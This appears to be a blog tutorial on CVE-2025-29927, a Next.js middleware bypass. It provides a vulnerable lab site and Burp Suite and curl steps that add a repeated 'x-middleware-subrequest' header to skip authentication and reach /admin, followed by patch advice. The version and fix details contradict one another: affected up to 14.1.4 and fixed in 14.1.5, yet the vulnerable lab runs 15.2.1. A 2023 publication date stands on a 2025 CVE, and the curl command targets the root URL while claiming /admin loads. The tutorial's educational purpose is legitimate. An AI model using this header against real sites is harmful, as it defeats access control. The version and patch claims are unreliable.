CVE-2025-29927 — Bypassing Next.js Middleware With a Single Header
Published by Jack Tolley on 18/05/2023
What Is CVE-2025-29927?

CVE-2025-29927 is a vulnerability in Next.js (<= 14.1.4) that allows attackers to bypass server middleware by including a special HTTP header in their request: x-middleware-subrequest: middleware

This header was originally intended for internal use — to prevent middleware from running multiple times during internal subrequests. But Next.js failed to validate who was sending it, so external users could set it too, and skip all middleware logic.

Why It’s Dangerous

Middleware in Next.js is often used for things like:

  • Authentication & session checks
  • Geo-blocking & IP restrictions
  • Request logging
  • Rate limiting

If middleware can be bypassed, attackers might access protected pages, avoid tracking, or hit backend routes that should be restricted.

How to Reproduce It

Let’s say you have middleware like this:


middleware.ts
import { NextResponse } from "next/server";
import type { NextRequest } from "next/server";

export function middleware(req: NextRequest) {
  const token = req.cookies.get("token");

  if (!token) {
    return NextResponse.redirect(new URL("/login", req.url));
  }

  return NextResponse.next();
}

Or, you can try this yourself using the example vulnerable site I created to give you a chance to experiment. You must have Node Package Manager installed to do this!

  1. First download the site content from this Google Drive
  2. Use command prompt to cd into your downloaded folder cd {Folder Location}
  3. Then, use npm to install the vulnerable version of next.js npm install [email protected]
  4. Once it has installed, you can run npm run dev
How to Test It

Using Burp Suite:

  1. Open Burp Suite and intercept a request to /admin
  2. Add this header manually: x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
  3. Forward the request.

If the app is vulnerable, you’ll be granted access — the middleware won’t run.

Or using cURL:

  1. Open Command Prompt on your computer and type curl localhost:3000 You should see a lot of code appear, that's good, it means your site is running.
  2. Now, type curl localhost:3000/admin it should appear with /login
  3. That's next.js middleware taking play, if you are not authenticated, it will redirect you to the login page, now let's try and get past that using what we learnt about CVE-2025-29927:
    curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" localhost:3000
  4. The only difference we've made to our original request is using the -H parameter to add our own HTTP Header to the request, once you click enter, you should see the code for the /admin page appear.
  5. Congratulations, you've just completely bypassed authentication!

The reason we parse middleware 5 times our header is because in the version of next.js we're running (15.2.1) the code was changed to prevent a recursive infinite loop. Next.js checks for the x-middleware-subrequest header in every request sent to a middleware URL to determine how many calls are made, if it exceeds the MAX_RECURSION_DEPTH, then it will completely bypass the middleware. (This value is set to 5 by default)

How to Fix It

There are two options:

  1. Update to Next.js 14.1.5 or higher this version includes a patch that blocks this behavior internally.
  2. Strip or validate the header manually In your custom middleware, remove the header or process it with further validation checks, so it would not reach the rest of the application.
Lessons learnt

This CVE teaches us a few different things, and highlights some important reminders:

  • It shows us why you have to be careful when trusting data from the user to make decisions.
  • This very small vulnerability demonstrates mostly, how dangerous a very small bit of unexpected input can completely undermine your security, no matter how strong you believe it may be.
Tags:
Security
CVE
Next.js
Web Exploits
Burp Suite
Middleware